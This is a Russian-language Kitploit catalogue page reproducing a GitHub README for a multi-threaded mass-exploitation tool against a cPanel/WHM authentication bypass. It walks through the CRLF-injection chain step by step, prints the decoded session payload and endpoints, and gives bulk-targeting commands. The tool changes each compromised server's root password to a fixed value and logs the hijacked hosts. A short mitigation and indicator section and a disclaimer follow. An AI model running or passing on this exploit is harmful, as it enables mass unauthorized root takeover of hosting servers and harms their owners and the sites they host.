Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-41940 — Bulk scanner and mass exploitation tool for CVE-2026-41940 on cPanel/WHM, built for automated target validation and high-speed multi-threaded execution. | Kitploit
Инструменты/GitHubGitHub/jenderal92/cve-2026-41940
Vulnerability ScannersExploitationWeb Application ExploitationInformation GatheringPenetration TestingCommand and ControlAuthenticationRed TeamingPayload Development
GitHubjenderal92/cve-2026-41940

CVE-2026-41940

Bulk scanner and mass exploitation tool for CVE-2026-41940 on cPanel/WHM, built for automated target validation and high-speed multi-threaded execution.

442 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

CVE-2026-41940 - WHM/cPanel-массовый эксплойт обхода аутентификации

43153

📋 Описание

CVE-2026-41940 — это критическая уязвимость обхода аутентификации в WHM/cPanel, позволяющая злоумышленникам обойти аутентификацию и получить root-доступ к серверу без действительных учётных данных. Уязвимость использует CRLF-инъекцию в механизме управления сессиями для внедрения вредоносных параметров сессии.

Этот инструмент предоставляет возможности массовой эксплуатации с поддержкой многопоточности для одновременного тестирования нескольких целей, с интеллектуальным обнаружением успеха и автоматической фильтрацией недействительных целей.


🎯 Основные возможности

ВозможностьОписание
✅ Массовая эксплуатацияСканирование и эксплуатация нескольких целей из файла списка
🚀 МногопоточностьНастраиваемое количество потоков для более быстрого сканирования (по умолчанию: 15)
🔐 Автосмена пароляМеняет root-пароль на Jenderal92 при успешной эксплуатации
🛡️ Умное обнаружение успехаАвтоматически определяет различные форматы ответов WHM API
⚠️ Фильтрация ошибок лицензииИсключает цели с ошибками «недопустимая/невозможно прочитать лицензию»
📝 Структурированный выводСохраняет только подтверждённые успехи в формате domain:port|user|pass
🛡️ Поддержка SSL/TLSАвтоматическая обработка самоподписанных сертификатов
🔄 Управление сессиямиАвтоматическое извлечение сессии, внедрение cookie и обработка токенов
⏱️ Контроль таймаутаНастраиваемый таймаут соединения (по умолчанию: 15 секунд)
🔍 Проверка перед подключениемПроверка доступности порта перед попыткой эксплуатации
📊 Прогресс в реальном времениПоказывает подробный прогресс каждого этапа эксплуатации

📦 Требования

  • Python 2.7 (обязательно — НЕ совместим с Python 3.x)
  • Подключение к Интернету для доступа к целям
  • Требуемые пакеты Python:
root@kitploit:~
pip install requests urllib3 futures

Или используйте requirements.txt:

root@kitploit:~
requests==2.27.1
urllib3==1.26.18
futures==3.4.0

📥 Установка

root@kitploit:~
# Клонирование репозитория
git clone https://github.com/Jenderal92/CVE-2026-41940.git
cd CVE-2026-41940

# Установка зависимостей
pip install -r requirements.txt

# Сделать исполняемым (Linux/Mac)
chmod +x CVE-2026-41940.py

🚀 Использование

1. Подготовка файла целей

Создайте файл targets.txt с одной целью на строку:

root@kitploit:~
https://target1.com:2087
target2.com
127.0.0.1:2087
http://target3.com:2087
target4.com

Примечание: Порт 2087 — порт WHM по умолчанию. Если не указан, автоматически будет использоваться порт 2087. Префикс HTTP/HTTPS будет добавлен автоматически, если отсутствует.

2. Запуск эксплойта

Базовое использование (настройки по умолчанию)

root@kitploit:~
python2 CVE-2026-41940.py targets.txt

Многопоточное использование

root@kitploit:~
# Использовать 5 одновременных потоков
python2 CVE-2026-41940.py targets.txt --threads 5

# Использовать 20 потоков для более быстрого сканирования
python2 CVE-2026-41940.py targets.txt --threads 20

Пользовательское имя хоста

root@kitploit:~
# Переопределить заголовок Host для всех целей
python2 CVE-2026-41940.py targets.txt --hostname custom.host.com --threads 10

Пользовательский таймаут

root@kitploit:~
# Установить таймаут 30 секунд для медленных соединений
python2 CVE-2026-41940.py targets.txt --threads 10 --timeout 30

📊 Аргументы командной строки


📁 Формат вывода

Файл результатов (res.txt)

Сохраняются только подтверждённые успешные эксплойты. Цели с ошибками лицензии, неудачной сменой пароля или проблемами с соединением автоматически исключаются.

Формат:

root@kitploit:~
domain:port|root|Jenderal92

Пример вывода:

root@kitploit:~
www.example.com:2087|root|Jenderal92
127.0.0.1:2087|root|Jenderal92
target.example.net:2087|root|Jenderal92

Исключённые сценарии

Следующие цели НЕ будут сохранены в res.txt:

  • Ошибки лицензии (Cannot Read License File)
  • Неудачная смена пароля
  • Таймауты или отказы соединения
  • Обновлённые/цели без WHM
  • Неверные учётные данные или сбои сессии

Вывод в консоли

root@kitploit:~
$ python2 CVE-2026-41940.py targets.txt --threads 10

 CVE-2026-41940 bypass authentication - Mass Exploit

[*] Loaded 4 targets
[*] Starting exploit with 10 threads...
[*] Timeout: 15 seconds
[*] Note: http:// will be added automatically if missing
[*] ONLY targets with confirmed password changes will be saved to res.txt
[*] Targets with license errors, connection issues, or failed password changes will be EXCLUDED

==================================================

[*] Checking target: 127.0.0.1
    Original input: 127.0.0.1
    Normalized: https://127.0.0.1:2087
    Port 2087: OPEN
    Testing connection... OK (HTTP 200)

[0] hostname = example.com
[1] minting a preauth session...
    session base = :d5nPe99Nx9HQdMu2
[2] sending the CRLF injection...
    HTTP 307, leaked token = /cpsess0488087910
[3] firing do_token_denied to propagate...
    HTTP 401, gadget fired
[4] verifying we're WHM root...
    /json-api/version -> HTTP 200  {"version":"11.118.0.13"}
[*] attempting to change the root password
    passwd -> HTTP 200
    {
      "data": {
        "app": ["system"]
      },
      "metadata": {
        "output": {
          "raw": "Password for \"root\" has been changed."
        },
        "reason": "Password changed for user \"root\".",
        "version": 1,
        "command": "passwd",
        "result": 1
      }
    }
[+] Password change confirmed (metadata.result=1)
[+] ✓ Root password successfully changed to 'Jenderal92'!

[✓] SUCCESS & SAVED: 127.0.0.1:2087
    Saved to res.txt: 127.0.0.1:2087|root|Jenderal92

==================================================
[*] Scan complete!
[*] Targets with successfully changed passwords: 1 out of 4

[+] Results saved to res.txt

Successfully exploited targets (password changed to Jenderal92):
  ✓ 127.0.0.1:2087

🔬 Как работает эксплойт

Эксплойт состоит из 4 основных этапов с интеллектуальной проверкой:

Этап 1: Сессия предварительной аутентификации

root@kitploit:~
[1] minting a preauth session...
  • Отправляет POST-запрос на /login/?login_only=1 с недействительными учётными данными
  • Извлекает cookie whostmgrsession из ответа сервера
  • Извлекает основу сессии, удаляя хвост ,<obhex>
  • Это даёт нам валидный формат сессии для работы

Этап 2: CRLF-инъекция

root@kitploit:~
[2] sending the CRLF injection...
  • Отправляет GET-запрос с заголовком Authorization: Basic, содержащим вредоносную нагрузку
  • Нагрузка в Base64 декодируется в:
    root@kitploit:~
    root:x
    successful_internal_auth_with_timestamp=9999999999
    user=root
    tfa_verified=1
    hasroot=1
    
  • Символы CRLF (\r\n) внедряют поддельные параметры сессии
  • Это обманывает сервер, заставляя его думать, что аутентификация прошла успешно
  • Сервер отвечает HTTP 307 с заголовком Location, содержащим cp_security_token

Этап 3: Распространение сессии

root@kitploit:~
[3] firing do_token_denied to propagate...
  • Обращается к конечной точке /scripts2/listaccts с манипулированным cookie
  • Запускает механизм do_token_denied в WHM
  • Это распространяет внедрённые параметры сессии в кеш сессий сервера
  • Ответ HTTP 401 с сообщением «Token denied» подтверждает успешное распространение

Этап 4: Проверка и смена пароля

root@kitploit:~
[4] verifying we're WHM root...
  • Обращается к /json-api/version для проверки доступа уровня root
  • Вызывает API /json-api/passwd для смены root-пароля на Jenderal92
  • Интеллектуально определяет успех по нескольким форматам ответов WHM API:
    • {"metadata": {"result": 1}} (cPanel v11.118+)
    • {"status": 1} (старые версии)
    • {"result": [{"status": 1}]} (устаревший формат)
    • Текстовые сообщения об успехе

Автоматическая фильтрация

Инструмент автоматически исключает:

  • Ошибки лицензии: {"status": 0, "statusmsg": "Cannot Read License File"}
  • Неудачную смену пароля: когда API возвращает код успеха, но пароль не был изменён
  • Проблемы с соединением: таймауты, отказы соединений, недоступные хосты

🛡️ Обнаружение и смягчение

Индикаторы компрометации (IOC)

Журналы для мониторинга

root@kitploit:~
# Лог доступа WHM
/usr/local/cpanel/logs/access_log

# Лог ошибок cPanel
/usr/local/cpanel/logs/error_log

# Лог аутентификации
/var/log/secure

# Системные сообщения
/var/log/messages

Шаги по смягчению

  1. Обновите WHM/cPanel до последней пропатченной версии немедленно

    root@kitploit:~
    /usr/local/cpanel/scripts/upcp
    
  2. Включите двухфакторную аутентификацию (2FA) для всех учётных записей, особенно root

    root@kitploit:~
    WHM → Security Center → Two-Factor Authentication
    
  3. Ограничьте доступ к WHM с помощью белого списка IP-адресов

    root@kitploit:~
    WHM → Security Center → Host Access Control
    
  4. Регулярно проверяйте журналы доступа на предмет подозрительных шаблонов

    root@kitploit:~
    tail -f /usr/local/cpanel/logs/access_log | grep -E "(listaccts|passwd|login_only)"
    
  5. Смените все пароли, если есть подозрение на компрометацию

  6. Используйте правила брандмауэра для ограничения доступа к порту 2087

    root@kitploit:~
    # Разрешить только доверенные IP
    iptables -A INPUT -p tcp --dport 2087 -s YOUR_TRUSTED_IP -j ACCEPT
    iptables -A INPUT -p tcp --dport 2087 -j DROP
    
    # Или используйте брандмауэр CSF/LFD
    csf -a YOUR_TRUSTED_IP
    
  7. Внедрите правила WAF для обнаружения попыток CRLF-инъекции

  8. Регулярные аудиты безопасности установок WHM/cPanel


📝 Примеры использования в различных сценариях

Сценарий 1: Тестирование одной цели

root@kitploit:~
echo "https://myserver.com:2087" > my_server.txt
python2 CVE-2026-41940.py my_server.txt --threads 1

Сценарий 2: Массовый аудит серверов

root@kitploit:~
python2 CVE-2026-41940.py all_servers.txt --threads 20 --timeout 20

Сценарий 3: Медленная сеть/большое расстояние

root@kitploit:~
python2 CVE-2026-41940.py servers.txt --threads 5 --timeout 45

Сценарий 4: Пользовательское имя хоста за прокси/балансировщиком нагрузки

root@kitploit:~
python2 CVE-2026-41940.py servers.txt --hostname internal.cpanel.server --threads 10

Сценарий 5: Цели со смешанными портами

root@kitploit:~
# targets.txt может содержать различные форматы:
https://server1.com:2087
http://server2.com:2087
server3.com:2087
127.0.0.1:2087
10.0.0.50

# Все будут нормализованы автоматически
python2 CVE-2026-41940.py targets.txt --threads 15

⚙️ Устранение неполадок

Ошибка: «module 'urllib' has no attribute 'urlsplit'»

Проблема: Используется Python 3 вместо Python 2.7
Решение: Этот инструмент требует именно Python 2.7.

root@kitploit:~
# Проверьте версию Python
python2 --version  # Должно показывать Python 2.7.x

# Запустите с явным указанием python2
python2 CVE-2026-41940.py targets.txt

Ошибка: «Connection refused - target unreachable»

Проблема: Цель не в сети или брандмауэр блокирует
Решение:

root@kitploit:~
# Проверьте вручную
telnet target.com 2087
nmap -p 2087 target.com
curl -k https://target.com:2087

Ошибка: «/login didn't issue a whostmgrsession cookie»

Проблема: Цель может быть пропатчена или не запущена WHM
Решение:

  • Убедитесь, что цель использует WHM/cPanel
  • Проверьте, доступна ли цель через браузер по адресу https://target:2087
  • Возможно, на цель уже установлен патч CVE-2026-41940

Медленная производительность сканирования

Решение: Настройте количество потоков и таймаут

root@kitploit:~
# Для большого числа целей с хорошей связностью
python2 CVE-2026-41940.py targets.txt --threads 30 --timeout 10

# Для ненадёжных соединений
python2 CVE-2026-41940.py targets.txt --threads 5 --timeout 45

Ошибки лицензии в выводе

Примечание: Цели с Cannot Read File License автоматически исключаются из res.txt. Это ожидаемое поведение, так как смена пароля не будет работать на нелицензионных установках WHM.


🔧 Расширенная конфигурация

Изменение пользовательской нагрузки

Вы можете изменить PAYLOAD_B64 для настройки параметров сессии:

root@kitploit:~
import base64

# Пользовательская нагрузка
payload = """root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1"""

encoded = base64.b64encode(payload.encode())
print(encoded)

Пользовательский пароль

Измените пароль в функции do_passwd() (строка ~280):

root@kitploit:~
{"user": "root", "password": "YourCustomPassword123"}

Настройка обнаружения успеха

Функцию do_passwd() можно изменить для определения пользовательских форматов ответов WHM:

root@kitploit:~
# Добавить пользовательский шаблон в do_passwd()
if 'your_custom_success_string' in (r.text or '').lower():
    return "success"

🤝 Вклад в проект

Приветствуются любые вклады! Пожалуйста, следуйте этим шагам:

  1. Сделайте форк репозитория
  2. Создайте ветку для функции (git checkout -b feature/AmazingFeature)
  3. Зафиксируйте изменения (git commit -m 'Add some AmazingFeature')
  4. Отправьте изменения в ветку (git push origin feature/AmazingFeature)
  5. Откройте Pull Request

Рекомендации по разработке

  • Сохраняйте совместимость с Python 2.7
  • Тестируйте с различными версиями WHM/cPanel
  • Добавляйте правильную обработку ошибок
  • Обновляйте документацию для новых функций

⭐ История звёзд

Если этот инструмент полезен для вашего исследования безопасности, пожалуйста, поставьте ему ⭐ на GitHub!

Star History Chart


❗ Часто задаваемые вопросы

Вопрос: Можно ли обнаружить этот инструмент?
Ответ: Да, этот инструмент оставляет следы в журналах доступа WHM/cPanel. Используйте только с надлежащим разрешением и для легитимного тестирования безопасности.

Вопрос: Сколько времени занимает эксплуатация?
Ответ: Примерно 5-15 секунд на цель в зависимости от задержки сети и времени отклика сервера.

Вопрос: Требуется ли предварительный root-доступ?
Ответ: Нет, этот эксплойт работает полностью извне без какой-либо аутентификации.

Вопрос: Работает ли этот инструмент в Windows?
Ответ: Да, при условии, что Python 2.7 правильно установлен и настроен.

Вопрос: Моя цель использует другой порт, что делать?
Ответ: Укажите порт в URL цели: https://target.com:2083 для cPanel или любой пользовательский порт.

Вопрос: Почему некоторые цели не сохраняются в res.txt, даже если эксплойт сработал?
Ответ: Инструмент сохраняет только цели, где пароль был успешно изменён. Цели с ошибками лицензии, неудачной сменой пароля или другими проблемами исключаются, даже если обход аутентификации был успешен.

Вопрос: Какие версии WHM/cPanel уязвимы?
Ответ: Версии до патча CVE-2026-41940. Проверьте журнал изменений cPanel для пропатченной версии.


📌 Важные примечания

  • ✅ Этот инструмент меняет root-пароль на Jenderal92 при успешной эксплуатации
  • 📡 Порт WHM по умолчанию — 2087 (автоматически используется, если не указан)
  • 🔒 Проверка SSL-сертификата отключена для поддержки самоподписанных сертификатов
  • 💾 В res.txt сохраняются только подтверждённые успехи (пароль изменён)
  • ⚠️ Ошибки лицензии и неудачные смены пароля автоматически отфильтровываются
  • 🔄 Каждый запуск создаёт новый файл res.txt (предыдущие результаты удаляются)
  • 🌐 Префикс HTTP/HTTPS автоматически добавляется, если отсутствует в целях
  • 🧵 Количество потоков по умолчанию — 15, регулируется в зависимости от возможностей системы

Создано для образовательных целей исследования безопасности
Используйте ответственно, оставайтесь в рамках закона, соблюдайте этику


⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ

⚠️ КРИТИЧЕСКОЕ ПРЕДУПРЕЖДЕНИЕ!

Этот инструмент создан исключительно для:

  • ✅ Образовательных целей и исследования безопасности
  • ✅ Авторизованного тестирования на проникновение
  • ✅ Оценки безопасности систем, которыми вы владеете
  • ✅ Проверки уязвимостей с письменного разрешения

СТРОГО ЗАПРЕЩЁННЫЕ виды использования:

  • ❌ Доступ к системам без явного разрешения
  • ❌ Любые формы незаконной деятельности
  • ❌ Вредоносные действия или причинение вреда системам
  • ❌ Неавторизованный доступ к любым компьютерным системам
  • ❌ Нарушение любых местных, государственных или федеральных законов

Автор(ы) НЕ несут никакой ответственности за любое неправильное использование, ущерб или последствия, возникшие в результате использования этого инструмента. Используя этот инструмент, вы соглашаетесь использовать его только на системах, которыми вы владеете или на тестирование которых имеете письменное разрешение.

Если вы продолжаете, вы подтверждаете, что:

  1. У вас есть разрешение на тестирование целевых систем
  2. Вы понимаете юридические последствия несанкционированного доступа
  3. Вы будете соблюдать все применимые законы и правила
  4. Автор(ы) не несут ответственности за ваши действия

Больше отказов от ответственности можно увидеть на обложке Jenderal92. Вы можете проверить ЗДЕСЬ!!!

Скачать инструмент
АргументОписаниеПо умолчаниюОбязательно
list_fileФайл, содержащий список целей (по одной на строку)-✅ Да
--threadsКоличество одновременных потоков15❌ Нет
--hostnameПереопределить заголовок Host для всех целейАвтоопределение❌ Нет
--timeoutТаймаут соединения в секундах15❌ Нет
ИндикаторОписание
Аномальный cookie whostmgrsessionНеобычные шаблоны cookie без правильной аутентификации
CRLF-символы в заголовкахОбнаружение последовательностей \r\n в HTTP-заголовках
Доступ к /scripts2/listacctsНеавторизованный доступ к этому пути
Пароль Jenderal92Успешный вход с использованием этого конкретного пароля
Утечка токена cpsessТокен безопасности, видимый в заголовке Location
Неудачный вход, за которым следует успехPOST на /login/?login_only=1 с неверным паролем, затем привилегированный доступ